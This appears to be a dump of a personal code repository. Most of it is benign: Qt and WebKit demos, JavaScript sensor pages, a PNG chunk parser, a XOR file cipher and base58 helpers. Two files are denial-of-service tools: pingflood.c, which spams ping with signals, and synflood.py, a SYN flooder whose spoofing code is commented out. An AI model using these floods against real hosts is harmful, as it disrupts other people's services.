87.117.182.68 192.168.4.2 TCP 9939 6236 53 | 0.0 2 0 67 87.117.182.68 192.168.4.2 TCP 9939 6236 54 | 0.0 2 0 55 94.181.37.208 192.168.4.2 TCP 5796 25883 55 | 0.0 2 0 63 94.181.37.208 192.168.4.2 TCP 5796 25883 56 | 0.0 2 0 52 87.117.182.68 192.168.4.2 TCP 9939 6236 57 | 0.0 2 0 52 94.181.37.208 192.168.4.2 TCP 5796 25883 58 | 59 | *for ICMP `type` and `code` is logged 60 | *iplen is a length of ip packet including header 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/devicemotion/index.js: -------------------------------------------------------------------------------- 1 | Ext.setup({ 2 | 3 | onReady : function() { 4 | this.ui = new Ext.Panel({ 5 | scroll: 'vertical', 6 | fullscreen: true, 7 | layout: 'fit', 8 | items: [{ 9 | xtype: 'form', 10 | scroll: 'vertical', 11 | items: [{ 12 | xtype: 'fieldset', 13 | title: 'Device Motion Data', 14 | items: [{ 15 | xtype: 'sliderfield', 16 | label: 'X', 17 | id: 'X', 18 | disabled: true, 19 | minValue: -100, 20 | maxValue: 100 21 | }, { 22 | xtype: 'sliderfield', 23 | label: 'Y', 24 | id: 'Y', 25 | disabled: true, 26 | minValue: -100, 27 | maxValue: 100 28 | }, { 29 | xtype: 'sliderfield', 30 | label: 'Z', 31 | id: 'Z', 32 | disabled: true, 33 | minValue: -100, 34 | maxValue: 100 35 | }] 36 | }] 37 | }] 38 | }); 39 | 40 | this.ui.doComponentLayout(); 41 | 42 | if (!Ext.supports.DeviceMotion) { 43 | setTimeout(function() { 44 | Ext.Msg.alert('Not available', 'You need iOS 4.2 device with acceleration API.'); 45 | }, 200); 46 | } else { 47 | var acc; 48 | 49 | window.ondevicemotion = function(e) { 50 | acc = e.accelerationIncludingGravity; 51 | } 52 | 53 | window.setInterval(function() { 54 | Ext.getCmp('X').setValue(Math.round(10 * acc.x), 200); 55 | Ext.getCmp('Y').setValue(Math.round(10 * acc.y), 200); 56 | Ext.getCmp('Z').setValue(Math.round(10 * acc.z), 200); 57 | }, 200); 58 | } 59 | } 60 | }); 61 | -------------------------------------------------------------------------------- /exploits_denial/pingflood.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | 4 | 5 | pingflood.c by (AntireZ) Salvatore Sanfilippo 6 | enhanced by David Welton 7 | I tested it only on Linux RedHat 4.1 and 5.0. 8 | David Welton tested it on Debian GNU/Linux and OpenBSD reporting 9 | it works. 10 | 11 | 12 | This program is free software; you can redistribute it and/or modify 13 | it under the terms of the GNU General Public License as published by 14 | the Free Software Foundation; version 2 of the License. 15 | 16 | 17 | ------------------------------------------------------------------------- 18 | 19 | pingflood.c allows non-root users to 'ping flood'. 20 | 21 | use it as follows: 22 | 23 | pingflood 24 | 25 | WARNING: this program is only for demonstrative use only. USE IT AT 26 | YOUR 27 | OWN RISK! The authors decline all responsibility for 28 | damage caused by misuse of the program. 29 | 30 | *** if you use this program to cause harm to others, you are very 31 | small, petty and pathetic. *** 32 | 33 | to compile: gcc -o pingflood pingflood.c 34 | 35 | 36 | ------------------------------------------------------------------------- 37 | 38 | TECHNICAL NOTES 39 | 40 | When ping runs it normally sends an ICMP ECHO_REQUEST every second. 41 | It accomplishes this using the alarm system call and waiting for a 42 | SIGALRM 43 | signal 44 | from the kernel. 45 | Pingflood simply sends a lot of SIGALRM signals to the ping process. 46 | It can 47 | do this because the ping process is owned by the user. 48 | 49 | 50 | Salvatore Sanfilippo 51 | 52 | */ 53 | 54 | #include 55 | 56 | #define PING "/bin/ping" 57 | 58 | main( int argc, char *argv[] ) 59 | { 60 | int pid_ping; 61 | 62 | if (argc < 2) { 63 | printf("use: %s \n", argv[0]); 64 | exit(0); 65 | } 66 | 67 | if(!(pid_ping = fork())) 68 | execl(PING, "ping", argv[1], NULL); 69 | 70 | if ( pid_ping <=0 ) { 71 | printf("pid <= 0\n"); 72 | exit(1); 73 | } 74 | 75 | sleep (1); /* give it a second to start going */ 76 | while (1) 77 | if ( kill(pid_ping, SIGALRM) ) 78 | exit(1); 79 | } 80 | 81 | -------------------------------------------------------------------------------- /python/teh1337/synflood.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ######################################### 3 | # 4 | # SYNflood.py - A multithreaded SYN Flooder 5 | # By Brandon Smith 6 | # brandon.smith@studiobebop.net 7 | # 8 | # This script is a demonstration of a SYN/ACK 3 Way Handshake Attack 9 | # as discussed by Halla of Information Leak 10 | # 11 | ######################################### 12 | import socket 13 | import random 14 | import sys 15 | import threading 16 | #import scapy # Uncomment this if you're planning to use Scapy 17 | 18 | ### 19 | # Global Config 20 | ### 21 | 22 | interface = None 23 | target = None 24 | port = None 25 | thread_limit = 200 26 | total = 0 27 | 28 | #!# End Global Config #!# 29 | 30 | class sendSYN(threading.Thread): 31 | global target, port 32 | def __init__(self): 33 | threading.Thread.__init__(self) 34 | 35 | def run(self): 36 | # There are two different ways you can go about pulling this off. 37 | # You can either: 38 | # - 1. Just open a socket to your target on any old port 39 | # - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated! 40 | # 41 | # (Uncomment whichever method you'd like to use) 42 | 43 | # Method 1 - 44 | # s = socket.socket() 45 | # s.connect((target,port)) 46 | 47 | # Methods 2 - 48 | # i = scapy.IP() 49 | # i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) 50 | # i.dst = target 51 | 52 | # t = scapy.TCP() 53 | # t.sport = random.randint(1,65535) 54 | # t.dport = port 55 | # t.flags = 'S' 56 | 57 | # scapy.send(i/t, verbose=0) 58 | 59 | if __name__ == "__main__": 60 | # Make sure we have all the arguments we need 61 | if len(sys.argv) != 4: 62 | print "Usage: %s " % sys.argv[0] 63 | exit() 64 | 65 | # Prepare our variables 66 | interface = sys.argv[1] 67 | target = sys.argv[2] 68 | port = int(sys.argv[3]) 69 | # scapy.conf.iface = interface # Uncomment this if you're going to use Scapy 70 | 71 | # Hop to it! 72 | print "Flooding %s:%i with SYN packets." % (target, port) 73 | while True: 74 | if threading.activeCount() < thread_limit: 75 | sendSYN().start() 76 | total += 1 77 | sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total) 78 | -------------------------------------------------------------------------------- /cpp/xor_cipher/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | //#include 5 | 6 | #include "xorcipher.h" 7 | 8 | void usage(const char *cmd) 9 | { 10 | fprintf(stderr, "Usage: %s []\n", cmd); 11 | 12 | exit(1); 13 | } 14 | 15 | int main(int argc, char *argv[]) 16 | { 17 | char *infname; 18 | char *outfname; 19 | //const unsigned char *key; 20 | const unsigned char key[100] = {0}; 21 | FILE *infp, *outfp; 22 | const int buffer_size = 1024*1024; 23 | char *inbuffer; 24 | char *outbuffer; 25 | int numr,numw; 26 | 27 | if(argc<2) usage(argv[0]); 28 | infname = argv[1]; 29 | 30 | if(!(infp=fopen(infname, "rb"))) 31 | { 32 | fprintf(stderr, "ERROR: fopen(%s)\n", argv[1]); 33 | exit(1); 34 | } 35 | 36 | if(argc>2) outfname=argv[2]; 37 | else 38 | { 39 | if(!(outfname=(char*)malloc(strlen(infname)+5))) 40 | { 41 | fprintf(stderr, "ERROR: malloc failed\n"); 42 | exit(1); 43 | } 44 | strcpy(outfname, argv[1]); 45 | strcat(outfname, ".xor"); 46 | } 47 | 48 | if(!(outfp=fopen(outfname, "wb"))) 49 | { 50 | fprintf(stderr, "ERROR: fopen(%s)\n", outfname); 51 | exit(1); 52 | } 53 | 54 | //key = (const unsigned char*)getpass("Please enter a key: "); 55 | printf("Please enter a key: "); 56 | scanf("%s", key); 57 | 58 | inbuffer = (char*)malloc(buffer_size); 59 | if(!inbuffer) 60 | { 61 | fprintf(stderr, "ERROR: buffer malloc failed\n"); 62 | exit(1); 63 | } 64 | 65 | outbuffer = (char*)malloc(buffer_size); 66 | if(!outbuffer) 67 | { 68 | fprintf(stderr, "ERROR: buffer malloc failed\n"); 69 | exit(1); 70 | } 71 | 72 | while(!feof(infp)) 73 | { 74 | numr=fread(inbuffer,1,buffer_size,infp); 75 | if(numr!=buffer_size) 76 | { 77 | if(ferror(infp)!=0) 78 | { 79 | fprintf(stderr,"read file error.\n"); 80 | exit(1); 81 | } 82 | else if(feof(infp)!=0); 83 | } 84 | 85 | xorcipher(key, inbuffer, outbuffer, numr); 86 | 87 | numw=fwrite(outbuffer,1,numr,outfp); 88 | if(numw!=numr) 89 | { 90 | fprintf(stderr,"write file error.\n"); 91 | exit(1); 92 | } 93 | } 94 | 95 | fclose(outfp); 96 | fclose(infp); 97 | 98 | free(inbuffer); 99 | free(outbuffer); 100 | if(argc<3) free(outfname); 101 | 102 | return 0; 103 | } 104 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/deviceorientation/index.js: -------------------------------------------------------------------------------- 1 | Ext.setup({ 2 | 3 | onReady : function() { 4 | this.ui = new Ext.Panel({ 5 | scroll: 'vertical', 6 | fullscreen: true, 7 | layout: 'fit', 8 | items: [{ 9 | xtype: 'form', 10 | scroll: 'vertical', 11 | items: [{ 12 | xtype: 'fieldset', 13 | title: 'Device Orientation Data', 14 | items: [{ 15 | xtype: 'sliderfield', 16 | label: 'Alpha', 17 | id: 'Alpha', 18 | disabled: true, 19 | minValue: -180, 20 | maxValue: 180 21 | }, { 22 | xtype: 'sliderfield', 23 | label: 'Beta', 24 | id: 'Beta', 25 | disabled: true, 26 | minValue: -90, 27 | maxValue: 90 28 | }, { 29 | xtype: 'sliderfield', 30 | label: 'Gamma', 31 | id: 'Gamma', 32 | disabled: true, 33 | minValue: -180, 34 | maxValue: 180 35 | }] 36 | }] 37 | }] 38 | }); 39 | 40 | this.ui.doComponentLayout(); 41 | 42 | if (!('ondeviceorientation' in window)) { 43 | setTimeout(function() { 44 | Ext.Msg.alert('Not available', 'Your browser do not support device orientation.'); 45 | }, 200); 46 | } else { 47 | var orientation; 48 | 49 | window.ondeviceorientation = function(e) { 50 | orientation = { 51 | alpha: e.alpha, 52 | beta: e.beta, 53 | gamma: e.gamma 54 | }; 55 | }; 56 | 57 | window.setInterval(function() { 58 | Ext.getCmp('Alpha').setValue(Math.round(orientation.alpha), 200); 59 | Ext.getCmp('Beta').setValue(Math.round(orientation.beta), 200); 60 | Ext.getCmp('Gamma').setValue(Math.round(orientation.gamma), 200); 61 | }, 200); 62 | } 63 | } 64 | }); 65 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/codemirror.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2011 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include "codemirror.h" 21 | 22 | #include 23 | 24 | CodeMirror::CodeMirror(QWidget *parent) 25 | : QWebView(parent) 26 | { 27 | settings()->setFontFamily(QWebSettings::FixedFont, "Monaco, Monospace"); 28 | 29 | load(QUrl("qrc:/index.html")); 30 | changeTheme("default"); 31 | 32 | m_external = new External(this); 33 | page()->mainFrame()->addToJavaScriptWindowObject("External", m_external); 34 | } 35 | 36 | QString CodeMirror::text() const 37 | { 38 | return page()->mainFrame()->evaluateJavaScript("editor.getValue()").toString(); 39 | } 40 | 41 | void CodeMirror::setText(const QString &text) 42 | { 43 | m_external->text = text; 44 | page()->mainFrame()->evaluateJavaScript("editor.setValue(External.data)"); 45 | } 46 | 47 | void CodeMirror::changeTheme(const QString &theme) 48 | { 49 | QWebFrame *frame = page()->mainFrame(); 50 | frame->evaluateJavaScript(QString("editor.setOption('theme', '%1')").arg(theme)); 51 | frame->evaluateJavaScript(QString("document.body.className = 'cm-s-%1'").arg(theme)); 52 | } 53 | 54 | void CodeMirror::undo() 55 | { 56 | page()->mainFrame()->evaluateJavaScript("editor.undo()"); 57 | } 58 | 59 | void CodeMirror::redo() 60 | { 61 | page()->mainFrame()->evaluateJavaScript("editor.redo()"); 62 | } 63 | 64 | void CodeMirror::cut() 65 | { 66 | page()->triggerAction(QWebPage::Cut); 67 | } 68 | 69 | void CodeMirror::copy() 70 | { 71 | page()->triggerAction(QWebPage::Copy); 72 | } 73 | 74 | void CodeMirror::paste() 75 | { 76 | page()->triggerAction(QWebPage::Paste); 77 | } 78 | 79 | -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/pngchunks/pngchunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | 22 | int main(int argc, char **argv) 23 | { 24 | const char *fname; 25 | FILE *f; 26 | unsigned char buf[9]; 27 | unsigned char magic[] = { 137, 80, 78, 71, 13, 10, 26, 10 }; 28 | int total, i; 29 | 30 | if (argc != 2) { 31 | printf("Usage: pngchunks image.png\n\n"); 32 | return -1; 33 | } 34 | 35 | fname = argv[1]; 36 | f = fopen(fname, "rb"); 37 | if (!f) { 38 | printf("Error: can't open file %s!\n", fname); 39 | return -1; 40 | } 41 | 42 | fread(buf, 1, 8, f); 43 | for (i = 0; i < 8; ++i) { 44 | if (buf[i] != magic[i]) { 45 | printf("Not a PNG file!\n"); 46 | fclose(f); 47 | return -1; 48 | } 49 | } 50 | 51 | fseek(f, 0, SEEK_END); 52 | total = ftell(f); 53 | printf("File size: %d byte(s)\n", total); 54 | rewind(f); 55 | fseek(f, 8, SEEK_SET); 56 | 57 | printf("\n"); 58 | printf("Offset Chunk Size\n"); 59 | 60 | while (1) { 61 | int ofs, length; 62 | ofs = ftell(f); 63 | if (ofs >= total) 64 | break; 65 | fread(buf, 1, 8, f); 66 | buf[8] = '\0'; 67 | length = buf[3] + (buf[2] << 8) + (buf[1] << 16) + (buf[0] << 24); 68 | printf("%7d %s %5d\n", ofs, buf + 4, length); 69 | if (length < 0) 70 | printf("%d %d %d %d\n", buf[0], buf[1], buf[2], buf[3]); 71 | fseek(f, length, SEEK_CUR); 72 | fread(buf, 1, 4, f); /* CRC */ 73 | } 74 | 75 | fclose(f); 76 | 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /php/bitcoin.php: -------------------------------------------------------------------------------- 1 | $version, 'hash' => bin2hex(substr($btc, 1, 20))); 32 | } 33 | 34 | function base58_encode($string) { 35 | $table = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; 36 | 37 | $long_value = gmp_init(bin2hex($string), 16); 38 | 39 | $result = ''; 40 | while(gmp_cmp($long_value, 58) > 0) { 41 | list($long_value, $mod) = gmp_div_qr($long_value, 58); 42 | $result .= $table[gmp_intval($mod)]; 43 | } 44 | $result .= $table[gmp_intval($long_value)]; 45 | 46 | for($nPad = 0; $string[$nPad] == "\0"; ++$nPad); 47 | 48 | return str_repeat($table[0], $nPad).strrev($result); 49 | } 50 | 51 | function base58_decode($string) { 52 | $table = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; 53 | static $table_rev = null; 54 | if (is_null($table_rev)) { 55 | $table_rev = array(); 56 | for($i=0;$i<58;++$i) $table_rev[$table[$i]]=$i; 57 | } 58 | 59 | $l = strlen($string); 60 | $long_value = gmp_init('0'); 61 | for($i=0;$i<$l;++$i) { 62 | $c=$string[$l-$i-1]; 63 | $long_value = gmp_add($long_value, gmp_mul($table_rev[$c], gmp_pow(58, $i))); 64 | } 65 | 66 | // php is lacking binary output for gmp 67 | $res = pack('H*', gmp_strval($long_value, 16)); 68 | 69 | for($nPad = 0; $string[$nPad] == $table[0]; ++$nPad); 70 | return str_repeat("\0", $nPad).$res; 71 | } 72 | -------------------------------------------------------------------------------- /ofi-labs-x2/sensor/accelview/accelview.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the OfiLabs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | #include 22 | 23 | void getAcceleration(qreal &x, qreal &y, qreal &z) 24 | { 25 | #ifdef Q_WS_MAEMO_5 26 | QDBusConnection connection(QDBusConnection::systemBus()); 27 | if (connection.isConnected()) { 28 | QDBusInterface interface("com.nokia.mce", "/com/nokia/icd", QString(), connection); 29 | QDBusPendingReply reply; 30 | reply = interface.asyncCall("get_device_orientation"); 31 | reply.waitForFinished(); 32 | x = static_cast(reply.argumentAt<3>()) / 1000; 33 | y = static_cast(reply.argumentAt<4>()) / 1000; 34 | z = static_cast(reply.argumentAt<5>()) / 1000; 35 | } 36 | #endif 37 | } 38 | 39 | #include "ui_display.h" 40 | 41 | class AccelView: public QWidget 42 | { 43 | public: 44 | AccelView(QWidget *parent = 0): QWidget(parent) { 45 | form.setupUi(this); 46 | timer.start(100, this); 47 | } 48 | 49 | protected: 50 | void timerEvent(QTimerEvent*) { 51 | qreal xa = 0; 52 | qreal ya = -0.2; 53 | qreal za = 0; 54 | getAcceleration(xa, ya, za); 55 | int x = xa * 1000; 56 | int y = ya * 1000; 57 | int z = za * 1000; 58 | form.xSlider->setValue(x); 59 | form.ySlider->setValue(y); 60 | form.zSlider->setValue(z); 61 | form.xValue->setText(QString::number(x)); 62 | form.yValue->setText(QString::number(y)); 63 | form.zValue->setText(QString::number(z)); 64 | } 65 | 66 | private: 67 | Ui::Form form; 68 | QBasicTimer timer; 69 | }; 70 | 71 | int main(int argc, char **argv) 72 | { 73 | QApplication app(argc, argv); 74 | 75 | AccelView w; 76 | w.show(); 77 | 78 | return app.exec(); 79 | } 80 | -------------------------------------------------------------------------------- /ofi-labs-x2/demo/marblebox/chipmunk.pri: -------------------------------------------------------------------------------- 1 | CONFIG(release): QMAKE_CFLAGS += -DNDEBUG 2 | 3 | INCLUDEPATH += $$PWD/chipmunk/include/chipmunk 4 | 5 | QMAKE_CFLAGS += -std=c99 6 | 7 | HEADERS += chipmunk/include/chipmunk/constraints/util.h \ 8 | chipmunk/include/chipmunk/constraints/cpSlideJoint.h \ 9 | chipmunk/include/chipmunk/constraints/cpSimpleMotor.h \ 10 | chipmunk/include/chipmunk/constraints/cpRotaryLimitJoint.h \ 11 | chipmunk/include/chipmunk/constraints/cpRatchetJoint.h \ 12 | chipmunk/include/chipmunk/constraints/cpPivotJoint.h \ 13 | chipmunk/include/chipmunk/constraints/cpPinJoint.h \ 14 | chipmunk/include/chipmunk/constraints/cpGrooveJoint.h \ 15 | chipmunk/include/chipmunk/constraints/cpGearJoint.h \ 16 | chipmunk/include/chipmunk/constraints/cpDampedSpring.h \ 17 | chipmunk/include/chipmunk/constraints/cpDampedRotarySpring.h \ 18 | chipmunk/include/chipmunk/constraints/cpConstraint.h \ 19 | chipmunk/include/chipmunk/cpVect.h \ 20 | chipmunk/include/chipmunk/cpSpaceHash.h \ 21 | chipmunk/include/chipmunk/cpSpace.h \ 22 | chipmunk/include/chipmunk/cpShape.h \ 23 | chipmunk/include/chipmunk/cpPolyShape.h \ 24 | chipmunk/include/chipmunk/cpHashSet.h \ 25 | chipmunk/include/chipmunk/cpCollision.h \ 26 | chipmunk/include/chipmunk/cpBody.h \ 27 | chipmunk/include/chipmunk/cpBB.h \ 28 | chipmunk/include/chipmunk/cpArray.h \ 29 | chipmunk/include/chipmunk/cpArbiter.h \ 30 | chipmunk/include/chipmunk/chipmunk.h \ 31 | chipmunk/include/chipmunk/chipmunk_unsafe.h \ 32 | chipmunk/include/chipmunk/chipmunk_types.h \ 33 | chipmunk/include/chipmunk/chipmunk_ffi.h \ 34 | chipmunk/src/prime.h 35 | 36 | SOURCES += chipmunk/src/constraints/cpSlideJoint.c \ 37 | chipmunk/src/constraints/cpSimpleMotor.c \ 38 | chipmunk/src/constraints/cpRotaryLimitJoint.c \ 39 | chipmunk/src/constraints/cpRatchetJoint.c \ 40 | chipmunk/src/constraints/cpPivotJoint.c \ 41 | chipmunk/src/constraints/cpPinJoint.c \ 42 | chipmunk/src/constraints/cpGrooveJoint.c \ 43 | chipmunk/src/constraints/cpGearJoint.c \ 44 | chipmunk/src/constraints/cpDampedSpring.c \ 45 | chipmunk/src/constraints/cpDampedRotarySpring.c \ 46 | chipmunk/src/constraints/cpConstraint.c \ 47 | chipmunk/src/cpVect.c \ 48 | chipmunk/src/cpSpaceHash.c \ 49 | chipmunk/src/cpSpace.c \ 50 | chipmunk/src/cpShape.c \ 51 | chipmunk/src/cpPolyShape.c \ 52 | chipmunk/src/cpHashSet.c \ 53 | chipmunk/src/cpCollision.c \ 54 | chipmunk/src/cpBody.c \ 55 | chipmunk/src/cpBB.c \ 56 | chipmunk/src/cpArray.c \ 57 | chipmunk/src/cpArbiter.c \ 58 | chipmunk/src/chipmunk.c 59 | 60 | -------------------------------------------------------------------------------- /ofi-labs-x2/demo/marblenet/chipmunk.pri: -------------------------------------------------------------------------------- 1 | CONFIG(release): QMAKE_CFLAGS += -DNDEBUG 2 | 3 | INCLUDEPATH += $$PWD/chipmunk/include/chipmunk 4 | 5 | QMAKE_CFLAGS += -std=c99 6 | 7 | HEADERS += chipmunk/include/chipmunk/constraints/util.h \ 8 | chipmunk/include/chipmunk/constraints/cpSlideJoint.h \ 9 | chipmunk/include/chipmunk/constraints/cpSimpleMotor.h \ 10 | chipmunk/include/chipmunk/constraints/cpRotaryLimitJoint.h \ 11 | chipmunk/include/chipmunk/constraints/cpRatchetJoint.h \ 12 | chipmunk/include/chipmunk/constraints/cpPivotJoint.h \ 13 | chipmunk/include/chipmunk/constraints/cpPinJoint.h \ 14 | chipmunk/include/chipmunk/constraints/cpGrooveJoint.h \ 15 | chipmunk/include/chipmunk/constraints/cpGearJoint.h \ 16 | chipmunk/include/chipmunk/constraints/cpDampedSpring.h \ 17 | chipmunk/include/chipmunk/constraints/cpDampedRotarySpring.h \ 18 | chipmunk/include/chipmunk/constraints/cpConstraint.h \ 19 | chipmunk/include/chipmunk/cpVect.h \ 20 | chipmunk/include/chipmunk/cpSpaceHash.h \ 21 | chipmunk/include/chipmunk/cpSpace.h \ 22 | chipmunk/include/chipmunk/cpShape.h \ 23 | chipmunk/include/chipmunk/cpPolyShape.h \ 24 | chipmunk/include/chipmunk/cpHashSet.h \ 25 | chipmunk/include/chipmunk/cpCollision.h \ 26 | chipmunk/include/chipmunk/cpBody.h \ 27 | chipmunk/include/chipmunk/cpBB.h \ 28 | chipmunk/include/chipmunk/cpArray.h \ 29 | chipmunk/include/chipmunk/cpArbiter.h \ 30 | chipmunk/include/chipmunk/chipmunk.h \ 31 | chipmunk/include/chipmunk/chipmunk_unsafe.h \ 32 | chipmunk/include/chipmunk/chipmunk_types.h \ 33 | chipmunk/include/chipmunk/chipmunk_ffi.h \ 34 | chipmunk/src/prime.h 35 | 36 | SOURCES += chipmunk/src/constraints/cpSlideJoint.c \ 37 | chipmunk/src/constraints/cpSimpleMotor.c \ 38 | chipmunk/src/constraints/cpRotaryLimitJoint.c \ 39 | chipmunk/src/constraints/cpRatchetJoint.c \ 40 | chipmunk/src/constraints/cpPivotJoint.c \ 41 | chipmunk/src/constraints/cpPinJoint.c \ 42 | chipmunk/src/constraints/cpGrooveJoint.c \ 43 | chipmunk/src/constraints/cpGearJoint.c \ 44 | chipmunk/src/constraints/cpDampedSpring.c \ 45 | chipmunk/src/constraints/cpDampedRotarySpring.c \ 46 | chipmunk/src/constraints/cpConstraint.c \ 47 | chipmunk/src/cpVect.c \ 48 | chipmunk/src/cpSpaceHash.c \ 49 | chipmunk/src/cpSpace.c \ 50 | chipmunk/src/cpShape.c \ 51 | chipmunk/src/cpPolyShape.c \ 52 | chipmunk/src/cpHashSet.c \ 53 | chipmunk/src/cpCollision.c \ 54 | chipmunk/src/cpBody.c \ 55 | chipmunk/src/cpBB.c \ 56 | chipmunk/src/cpArray.c \ 57 | chipmunk/src/cpArbiter.c \ 58 | chipmunk/src/chipmunk.c 59 | 60 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/crossfading/index.html: -------------------------------------------------------------------------------- 1 | Crossfading with Canvas 2 | 3 | 16 | 17 | 52 | 53 | 54 |

Pixel Crossfading with HTML5 Canvas

55 |

Loading... Please wait.

56 | 57 | 58 | 59 | 60 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsbeautify/jsbeautify.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | Based on http://jsbeautifier.org/ 7 | Copyright (c) 2009 Einar Lielmanis 8 | 9 | Permission is hereby granted, free of charge, to any person 10 | obtaining a copy of this software and associated documentation 11 | files (the "Software"), to deal in the Software without 12 | restriction, including without limitation the rights to use, 13 | copy, modify, merge, publish, distribute, sublicense, and/or sell 14 | copies of the Software, and to permit persons to whom the 15 | Software is furnished to do so, subject to the following 16 | conditions: 17 | 18 | The above copyright notice and this permission notice shall be 19 | included in all copies or substantial portions of the Software. 20 | 21 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 22 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 23 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 24 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 25 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 26 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 27 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 28 | OTHER DEALINGS IN THE SOFTWARE. 29 | */ 30 | 31 | #include 32 | 33 | #include 34 | 35 | static QString readFile(const QString &fileName) 36 | { 37 | QFile file; 38 | file.setFileName(fileName); 39 | if (!file.open(QFile::ReadOnly)) { 40 | std::cerr << "Can't open" << qPrintable(fileName) << std::endl; 41 | return QString(); 42 | } 43 | QString content = file.readAll(); 44 | file.close(); 45 | return content; 46 | } 47 | 48 | int main(int argc, char **argv) 49 | { 50 | QCoreApplication app(argc, argv); 51 | 52 | if (argc < 2) { 53 | std::cout << "Usage:" << std::endl << std::endl; 54 | std::cout << " jsbeautify source-file" << std::endl << std::endl; 55 | return 0; 56 | } 57 | 58 | QString script = readFile(":/beautify.js"); 59 | QString source = readFile(QString::fromLocal8Bit(argv[1])); 60 | 61 | if (!script.isEmpty() && !source.isEmpty()) { 62 | QScriptEngine engine; 63 | engine.evaluate(script); 64 | engine.globalObject().setProperty("source", QScriptValue(source)); 65 | QScriptValue result = engine.evaluate("js_beautify(source);"); 66 | std::cout << qPrintable(result.toString()) << std::endl; 67 | } 68 | 69 | return 0; 70 | } 71 | 72 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsbeautify8/jsbeautify.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | Based on http://jsbeautifier.org/ 7 | Copyright (c) 2009 Einar Lielmanis 8 | 9 | Permission is hereby granted, free of charge, to any person 10 | obtaining a copy of this software and associated documentation 11 | files (the "Software"), to deal in the Software without 12 | restriction, including without limitation the rights to use, 13 | copy, modify, merge, publish, distribute, sublicense, and/or sell 14 | copies of the Software, and to permit persons to whom the 15 | Software is furnished to do so, subject to the following 16 | conditions: 17 | 18 | The above copyright notice and this permission notice shall be 19 | included in all copies or substantial portions of the Software. 20 | 21 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 22 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 23 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 24 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 25 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 26 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 27 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 28 | OTHER DEALINGS IN THE SOFTWARE. 29 | */ 30 | 31 | #include 32 | 33 | #include "beautify.h" 34 | 35 | using namespace v8; 36 | 37 | int main(int argc, char* argv[]) 38 | { 39 | if (argc < 2) { 40 | printf("Usage: jsbeautify filename\n\n"); 41 | return 0; 42 | } 43 | 44 | FILE* f = fopen(argv[1], "rb"); 45 | if 